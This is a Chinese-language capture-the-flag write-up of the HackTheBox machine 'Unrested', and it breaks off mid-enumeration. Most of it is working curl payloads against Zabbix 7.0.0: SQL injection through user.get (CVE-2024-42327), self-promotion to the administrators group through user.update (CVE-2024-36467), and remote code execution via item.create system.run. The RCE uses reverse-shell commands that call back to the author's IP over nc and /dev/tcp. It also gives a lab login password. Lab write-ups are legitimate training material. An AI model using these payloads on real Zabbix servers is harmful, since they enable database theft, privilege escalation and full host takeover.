【CVE machines】 htb Unrested wp

CVE
40k words

机器介绍

1
2
3
4
5
6
7
8
9
Unrested is a medium difficulty `Linux` machine hosting a version of `Zabbix`. 
Enumerating the version of `Zabbix` shows that it is vulnerable to both
[CVE-2024-36467](https://nvd.nist.gov/vuln/detail/CVE-2024-36467) (missing access
controls on the `user.update` function within the `CUser` class) and [CVE-2024-42327]
(https://nvd.nist.gov/vuln/detail/CVE-2024-42327) (SQL injection in `user.get`
function in `CUser` class) which is leveraged to gain user access on the target.
Post-exploitation enumeration reveals that the system has a `sudo` misconfiguration
allowing the `zabbix` user to execute `sudo /usr/bin/nmap`, an optional dependency
in `Zabbix` servers that is leveraged to gain `root` access.

Nmap

1
2
3
4
5
6
7
8
9
└─$ sudo nmap -sS 10.10.11.50 -p- --min-rate=2000
Nmap scan report for 10.10.11.50
Host is up (0.35s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
10050/tcp open zabbix-agent
10051/tcp open zabbix-trapper

default passord

Zabbix: matthew / 96qzn0h2e1k3

to User

实际上这个box一上来我手贱点了下简介,结果给我剧透了一脸

题目已经很明确的点出了这台要利用CVE-2024-42327,所以先看下对应的漏洞的产生过程

能看到在7.0.1rc1漏洞得到了修复,当前机器的版本是7.0.0

alt text

尝试搜索相关关键词,找到一个相关的zabbix版本日志

alt text

继续在其中搜关键字,可以看到DEV-3776修复了user.get的注入漏洞

alt text

在zabbix的repo中搜相关commit编号

alt text

进来一眼就能看到有sql语句在下一版中被删了。

alt text

往上走看到这是addRelatedObjects内的

alt text

再看谁调用了addRelatedObjects,就走到了get()

alt text

alt text

可以看下get()的逻辑

这里会检测我们是否为admin,很显然我们不是,而后进入其中,他会判断我们的发包中是editable是否为真,如果为假则可以查询当前用户所在的用户组内用户id信息,如果为真则只能查看当前用户的userid信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}

细一点的来说这个内部的判断,就是首先将users_groups表添加到FROM子句中,别名为ug。
再添加一个子句条件,确保u.userid(用户表中的用户ID)等于ug.userid(用户组表中的用户ID),最后通过一个子查询来限制ug.usrgrpid(用户组ID)是当前用户所在的用户组。

如果当前用户没有组的话需要启用editable,不然他就会走去查用户组内id和用户id是否匹配的那里.

所以这里我先尝试了一下当我们前用户应该是没有组别,editable关闭的时候会校验组,没通过所以返回空。

1
2
3
4
5
6
7
8
9
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid"],"editable":0}, "auth": "e1ced7a080ba08ae4e48a63dbe1f4ff6e8a92336ebbb53d338bcdb577449f2c1", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [],
"id": 1
}

Zabbix部分——非预期解

editable打开,让他验证时候查询自身,这样就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid"],"editable":1}, "auth": "e1ced7a080ba08ae4e48a63dbe1f4ff6e8a92336ebbb53d338bcdb577449f2c1", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": {
"roleid": "1"
}
}
],
"id": 1
}

参照官方文档

https://www.zabbix.com/documentation/6.0/jp/manual/api/reference/user/get

这里我先用extend拿一下这个注入点的几个字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": "extend","editable":1}, "auth": "e1ced7a080ba08ae4e48a63dbe1f4ff6e8a92336ebbb53d338bcdb577449f2c1", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": {
"roleid": "1",
"name": "User role",
"type": "1",
"readonly": "0"
}
}
],
"id": 1
}

相较于之前,这里多了"roleid": "1", "name": "User role", "type": "1", "readonly": "0",加上字段让查询有结果,再尝试拼接注入

按照poc的注入字段改为list形式

https://github.com/compr00t/CVE-2024-42327

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["type,(select database())"],"editable":1}, "auth": "e1ced7a080ba08ae4e48a63dbe1f4ff6e8a92336ebbb53d338bcdb577449f2c1", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": {
"type": "1",
"(select database())": "zabbix"
}
}
],
"id": 1
}

注入ok,然后可以通过zabbix.session表拿到admin用户的凭证,来做进一步rce

alt text

已经得知我们用户id:3id:1自然就是admin了

这里寻找,通过zabbix可以执行命令达到rce的方式

碎碎念:其实找资料这里也是卡的我很长时间,我找资料的思路感觉还需要练习,算是我的弱点了..明明osint我还蛮擅长的,感觉还是吃了英语的亏,啧

针对zabbix的命令执行方式这里先查了下官方的文档得知

https://www.zabbix.com/documentation/2.2/jp/manual/config/items/itemtypes/zabbix_agent

1
system.run[command,<mode>]

system.run函数可以执行命令,接下来就带上"system.run" zabbix rce "bash"来寻找rce的相关资料,然后就出来蛮多的,去掉非接口的利用方式,因为我能拿到的凭证就这地方能用的样子

https://github.com/HD421/Monitoring-Systems-Cheat-Sheet/blob/master/Zabbix_spawn_shell_on_agents.md

这里作者用的item.create创建了一个item,key_部分可以执行命令,然后需要hostidinterfaceid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
zapi.login(user, password)
host_name = hostname
hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
if hosts:
host_id = hosts[0]["hostid"]
print("Found host id {0}".format(host_id))
try:
item = zapi.item.create(
hostid=host_id,
name='netcat_create_reverse_shell',
key_='system.run["nc 192.168.56.100 4444 -e /bin/bash"]',
type=0,
value_type=4,
interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
delay=5
)

作者是通过pyzabbix库的host.get方法来获取的,这里翻一下官方文档用接口怎么查询hostid和interfaceid

官网文档直接搜interfaceid,api页面给到了一个example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
data.json

{
"jsonrpc": "2.0",
"method": "host.get",
"params": {
"output": [
"hostid",
"host"
],
"selectInterfaces": [
"interfaceid",
"ip"
]
},
"id": 2
}

The response object will contain the requested data about the hosts:

{
"jsonrpc": "2.0",
"result": [
{
"hostid": "10084",
"host": "Zabbix server",
"interfaces": [
{
"interfaceid": "1",
"ip": "127.0.0.1"
}
]
}
],
"id": 2
}

api调用也是用host.get,所以试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ curl --request POST \ 
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "host.get",
"params": {
"output": [
"hostid",
"host"
],
"selectInterfaces": [
"interfaceid",
"ip"
]
},"auth": "e1ced7a080ba08ae4e48a63dbe1f4ff6e8a92336ebbb53d338bcdb577449f2c1", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [],
"id": 1
}

不知道为啥没有回显,所以注入看下库里的host信息(后来想了下这里是我忘记用admin的auth啦(笑))

找一下interfaceid在哪个表有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid,(select group_concat(table_name) from information_schema.columns where column_name=\"interfaceid\" and table_schema=\"zabbix\")"],"editable":1}, "auth": "e1ced7a080ba08ae4e48a63dbe1f4ff6e8a92336ebbb53d338bcdb577449f2c1", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": {
"roleid": "1",
"(select group_concat(table_name) from information_schema.columns where column_name=\"interfaceid\" and table_schema=\"zabbix\")": "interface,interface_discovery,items,interface_snmp"
}
}
],
"id": 1
}

看字段名,这个interface表甚至还自带hostid,好贴心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid,(select group_concat(column_name) from information_schema.columns where table_name=\"interface\" and table_schema=\"zabbix\")"],"editable":1}, "auth": "e1ced7a080ba08ae4e48a63dbe1f4ff6e8a92336ebbb53d338bcdb577449f2c1", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": {
"roleid": "1",
"(select group_concat(column_name) from information_schema.columns where table_name=\"interface\" and table_schema=\"zabbix\")": "interfaceid,hostid,main,type,useip,ip,dns,port,available,error,errors_from,disable_until"
}
}
],
"id": 1
}

注入拿到interface表信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid,(select group_concat(concat_ws(\"|\",interfaceid,hostid,main,type,useip,ip,dns,port,available,error,errors_from,disable_until)) from zabbix.interface)"],"editable":1}, "auth": "e1ced7a080ba08ae4e48a63dbe1f4ff6e8a92336ebbb53d338bcdb577449f2c1", "id": 1}' -s|jq|grep 'group_concat'|tr -s ',' '\n'

1|10084|1|1|1|127.0.0.1||10050|1||0|0
2|10333|1|1|1|{#HV.IP}||10050|0||0|0
3|10334|1|1|1|{#VM.IP}||10050|0||0|0
4|10367|1|1|1|{#HV.IP}||10050|0||0|0
5|10368|1|1|1|{#VM.IP}||10050|0||0|0
7|10511|1|1|1|{#IP}||10050|0||0|0
8|10512|1|1|1|{#IP}||10050|0||0|0
9|10513|1|1|1|{#IP}||10050|0||0|0
10|10514|1|1|1|{#IP}||10050|0||0|0
11|10523|1|1|1|{#NODE_ADDRESS}||10050|0||0|0
12|10536|1|1|1|{#AWS.EC2.INSTANCE.ID}||10050|0||0|0
13|10537|1|1|1|{#AWS.RDS.INSTANCE.ID}||10050|0||0|0
14|10538|1|1|1|{#AWS.S3.NAME}||10050|0||0|0
15|10567|1|1|1|{#IP}||10050|0||0|0
19|10581|0|1|1|{#GCE.INSTANCE.EXT.IP}|external.ip|10050|0||0|0
20|10581|1|1|1|{#GCE.INSTANCE.IP}|internal.ip|10050|0||0|0
21|10578|0|1|1|{#CLOUD_SQL.INSTANCE.EXT.IP}|external.ip|10050|0||0|0
22|10578|1|1|1|{#CLOUD_SQL.INSTANCE.IP}|internal.ip|10050|0||0|0
23|10579|0|1|1|{#CLOUD_SQL.INSTANCE.EXT.IP}|external.ip|10050|0||0|0
24|10579|1|1|1|{#CLOUD_SQL.INSTANCE.IP}|internal.ip|10050|0||0|0
25|10580|0|1|1|{#CLOUD_SQL.INSTANCE.EXT.IP}|external.ip|10050|0||0|0
26|10580|1|1|1|{#CLOUD_SQL.INSTANCE.IP}|internal.ip|10050|0||0|0
27|10592|0|1|1|{#INT.IP}|internal.ip|10050|0||0|0
28|10592|1|1|1|{#IP}|external.ip|10050|0||0|0
29|10597|1|1|1|{#CLIENT.IP}||10050|0||0|0
30|10598|1|1|1|{#SERVER.IP}||10050|0||0|0

第一个应当就是他本地的节点,interfaceid 1hostid 10084,居然和官方文档中的一样诶,难道是默认的吗,有趣。

尝试创建item

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
└─$ curl --request POST --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "item.create",
"params": {
"name": "Free disk space on /home/joe/",
"key_": "system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.8 10086 >/tmp/f]",
"hostid": "10084",
"type": 0,
"value_type": 3,
"interfaceid": "1",
"tags": [
{
"tag": "component",
"value": "storage"
},
{
"tag": "equipment",
"value": "workstation"
}
],
"delay": "30s"
},
"id": 1, "auth": "b893c0010d5d95f7453325d3d08a37e4"
}' -s|jq
{
"jsonrpc": "2.0",
"result": {
"itemids": [
"47183"
]
},
"id": 1
}

nc接收到了revshell

但奇怪的是一秒就掉了

1
2
3
4
5
6
└─$ nc -lnvp 10086
listening on [any] 10086 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.50] 51386
bash: cannot set terminal process group (2220): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$

看了下文本,应该是加个wait就可以

1
2
切り捨てられる末尾の空白を含めて、最大512KBのデータを返すことができます。
mode - wait(デフォルト。実行終了を待機)、nowait(待機しない)のうち1つ 正しい処理のためには、コマンドの出力はテキストでなく

我改成这个样子还是不行

1
system.run[\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.8 10088 >/tmp/f\",\"wait\"]"

然后没办法,只好在连上两秒内创建后台进程,成功revshell

1
/bin/bash -i >& /dev/tcp/10.10.16.8/10087 0>&1 &

Zabbix部分——预期解

这里可以通过CVE-2024-36467

https://support.zabbix.com/browse/ZBX-25614

将自己加到组里

1
more specifically a user with access to the user.update API endpoint is enough to be able to add themselves to any group

https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php#L358

1
2
3
4
5
6
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);

return ['userids' => array_column($users, 'userid')];
}

这里的updateForce就是更新用户信息的func

https://www.zabbix.com/documentation/7.2/en/manual/api/reference/user/update?hl=user.update

这里我们需要查一下自己的id先,通过刚才的user.get接口鉴权部分得知,我们可以通过editable设置为1来查询到自己的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ curl --request POST \ 
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["u.roleid"],"editable":1}, "auth": "a22e1e871a2a048d8353dcc1471867a2", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": []
}
],
"id": 1
}

当前用户id为3

1
2
3
4
5
6
7
8
9
10
11
#example
{
"jsonrpc": "2.0",
"method": "user.update",
"params": {
"userid": "1",
"name": "John",
"surname": "Doe"
},
"id": 1
}

尝试修改当前用户的name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "user.update",
"params": {
"userid": "3",
"name": "matthewa",
"surname": "matthew"
},
"auth": "68bf0989c3d2c8e971316d65244da711",
"id": 1
}' -s|jq

{
"jsonrpc": "2.0",
"result": {
"userids": [
"3"
]
},
"id": 1
}

确认一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["u.roleid"],"editable":1}, "auth": "a22e1e871a2a048d8353dcc1471867a2", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"name": "matthewa",
"surname": "matthew",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": []
}
],
"id": 1
}

这里我尝试将roleid修改为1,但是仍旧是底权,修改为其他role提示roleid已经被持有,所以还是要加组。

那现在要做的就是给自己更新组

首先我要确定有哪些组,比较坑的是官方文档里没给默认的组id

不过可以通过轮询来添加,先确定一下update的字段

1
2
3
4
5
6
7
	private function validateUpdate(array &$users, array &$db_users = null) {
...
'usrgrps' => ['type' => API_OBJECTS, 'uniq' => [['usrgrpid']], 'fields' => [
'usrgrpid' => ['type' => API_ID, 'flags' => API_REQUIRED]
]],
...
]];

显然他是个套在usrgrps列表的里的usrgrpid,也就是说应该可以同时加很多个组,不过为了方便辨别那些组存在我还是单个加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: 10.10.11.50' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Connection: close' -H $'Content-Type: application/json-rpc' -H $'Content-Length: 161' \
--data-binary $'{\x0d\x0a \"jsonrpc\": \"2.0\", \"method\":\"user.update\", \"params\":{\"userid\": \"3\",\"usrgrps\": [{\"usrgrpid\": 1}] },\x0d\x0a\"auth\": \"b4353b38f7f909df7cd34a37dceba239\",\x0d\x0a \"id\": 1\x0d\x0a}' \
$'http://10.10.11.50/zabbix/api_jsonrpc.php'
HTTP/1.1 200 OK
Date: Sat, 14 Dec 2024 10:04:22 GMT
Server: Apache/2.4.52 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 144
Connection: close
Content-Type: application/json

{"jsonrpc":"2.0","error":{"code":-32602,"message":"Invalid params.","data":"Invalid parameter \"/1/usrgrps/1\": object does not exist."},"id":1}

组1,显示没这个组,fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
└─$ ffuf -request req -request-proto http -w <(seq 0 100) -fs 939 -fs 144

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : POST
:: URL : http://10.10.11.50/zabbix/api_jsonrpc.php
:: Wordlist : FUZZ: /proc/self/fd/11
:: Header : Connection: keep-alive
:: Header : Content-Type: application/json-rpc
:: Header : Host: 10.10.11.50
:: Header : Accept-Encoding: gzip, deflate
:: Header : Accept: */*
:: Data : {
"jsonrpc": "2.0", "method":"user.update", "params":{"userid": "3","usrgrps": [{"usrgrpid":FUZZ}] },
"auth": "b4353b38f7f909df7cd34a37dceba239",
"id": 1
}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 144
________________________________________________

11 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 585ms]
8 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 571ms]
9 [Status: 200, Size: 166, Words: 16, Lines: 1, Duration: 656ms]
7 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 571ms]
12 [Status: 200, Size: 166, Words: 16, Lines: 1, Duration: 2129ms]
13 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 2260ms]

得到7,8,9,11,12,13是组

看一下当前的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "usergroup.get",
"params": {
"output": "extend",
"status": 0
},
"auth": "b4353b38f7f909df7cd34a37dceba239", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [
{
"usrgrpid": "13",
"name": "Internal",
"gui_access": "1",
"users_status": "0",
"debug_mode": "0",
"userdirectoryid": "0",
"mfa_status": "0",
"mfaid": "0"
}
],
"id": 1
}

最后跑完是个13组名是internal,那我们可以写个脚本轮询一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
└─$ for i in {7,8,9,11,12,13};do curl -X POST --url http://10.10.11.50/zabbix/api_jsonrpc.php --header 'Content-Type: application/json-rpc' --data '{"jsonrpc": "2.0", "method":"user.update", "params":{"usrgrps": [{"usrgrpid": '$i'}], "userid": "3"},"auth":"b4353b38f7f909df7cd34a37dceba239", "id": 3}';curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "usergroup.get",
"params": {
"output": "extend"
},
"auth": "b4353b38f7f909df7cd34a37dceba239", "id": 1}' -s|jq;done
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":3}{
"jsonrpc": "2.0",
"result": [
{
"usrgrpid": "7",
"name": "Zabbix administrators",
"gui_access": "0",
"users_status": "0",
"debug_mode": "0",
"userdirectoryid": "0",
"mfa_status": "0",
"mfaid": "0"
}
],
"id": 1
}
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":3}{
"jsonrpc": "2.0",
"result": [
{
"usrgrpid": "8",
"name": "Guests",
"gui_access": "0",
"users_status": "0",
"debug_mode": "0",
"userdirectoryid": "0",
"mfa_status": "0",
"mfaid": "0"
}
],
"id": 1
}
{"jsonrpc":"2.0","error":{"code":-32602,"message":"Invalid params.","data":"User cannot add himself to a disabled group or a group with disabled GUI access."},"id":3}{
"jsonrpc": "2.0",
"result": [
{
"usrgrpid": "8",
"name": "Guests",
"gui_access": "0",
"users_status": "0",
"debug_mode": "0",
"userdirectoryid": "0",
"mfa_status": "0",
"mfaid": "0"
}
],
"id": 1
}
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":3}{
"jsonrpc": "2.0",
"result": [
{
"usrgrpid": "11",
"name": "Enabled debug mode",
"gui_access": "0",
"users_status": "0",
"debug_mode": "1",
"userdirectoryid": "0",
"mfa_status": "0",
"mfaid": "0"
}
],
"id": 1
}
{"jsonrpc":"2.0","error":{"code":-32602,"message":"Invalid params.","data":"User cannot add himself to a disabled group or a group with disabled GUI access.","debug":[{"file":"/usr/share/zabbix/include/classes/api/services/CUser.php","line":1126,"function":"exception","class":"CApiService","type":"::"},{"file":"/usr/share/zabbix/include/classes/api/services/CUser.php","line":542,"function":"checkHimself","class":"CUser","type":"->"},{"file":"/usr/share/zabbix/include/classes/api/services/CUser.php","line":359,"function":"validateUpdate","class":"CUser","type":"->"},{"file":"/usr/share/zabbix/include/classes/api/clients/CLocalApiClient.php","line":126,"function":"update","class":"CUser","type":"->"},{"file":"/usr/share/zabbix/include/classes/core/CJsonRpc.php","line":99,"function":"callMethod","class":"CLocalApiClient","type":"->"},{"file":"/usr/share/zabbix/api_jsonrpc.php","line":58,"function":"execute","class":"CJsonRpc","type":"->"}]},"id":3}{
"jsonrpc": "2.0",
"result": [
{
"usrgrpid": "11",
"name": "Enabled debug mode",
"gui_access": "0",
"users_status": "0",
"debug_mode": "1",
"userdirectoryid": "0",
"mfa_status": "0",
"mfaid": "0"
}
],
"id": 1
}
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":3}{
"jsonrpc": "2.0",
"result": [
{
"usrgrpid": "13",
"name": "Internal",
"gui_access": "1",
"users_status": "0",
"debug_mode": "0",
"userdirectoryid": "0",
"mfa_status": "0",
"mfaid": "0"
}
],
"id": 1
}

可以看到组7是超管组

替换为7

1
2
3
4
5
6
7
8
9
{

"jsonrpc": "2.0", "method":"user.update", "params":{"userid": "3","usrgrps": [{"usrgrpid": 7}] },

"auth": "b4353b38f7f909df7cd34a37dceba239",

"id": 1

}

现在再一次尝试查询,把editable关掉,再查一波,成功回显组内信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
└─$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["u.roleid"]}, "auth": "3605b857a058de657f39ce31e753f497", "id": 1}' -s|jq
{
"jsonrpc": "2.0",
"result": [
{
"userid": "1",
"username": "Admin",
"name": "Zabbix",
"surname": "Administrator",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "10.10.16.8",
"attempt_clock": "1734156350",
"rows_per_page": "50",
"timezone": "default",
"roleid": "3",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": []
},
{
"userid": "3",
"username": "matthew",
"name": "matthewa",
"surname": "matthew",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": []
}
],
"id": 1
}

开始注入,这里首先跑一下表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-------------------------(select group_concat(table_name) from information_schema.tables where table_schema=database())": 

"users,proxy_rtdata,lld_override_opdiscover,hgset,proxy_history
,item_rtdata,httpstep,sessions,script_param,token,event_tag,proxy_group,item_discovery,problem,graphs,connector_tag,report_usrgrp,correlation,dashboard_page,service_alar
ms,report_user,dashboard_user,maintenance_tag,dbversion,sysmap_user,user_ugset,maintenances_groups,graphs_items,host_rtdata,images,lld_override_opseverity,media_type,lld
_macro_path,sysmaps,userdirectory_idpgroup,task_remote_command_result,sysmap_element_trigger,lld_override_optemplate,media,sysmaps_element_tag,conditions,opcommand_grp,u
serdirectory_ldap,lld_override_opperiod,sysmap_usrgrp,sysmaps_link_triggers,item_preproc,report,service_tag,events,graph_discovery,lld_override_optrends,interface,opcomm
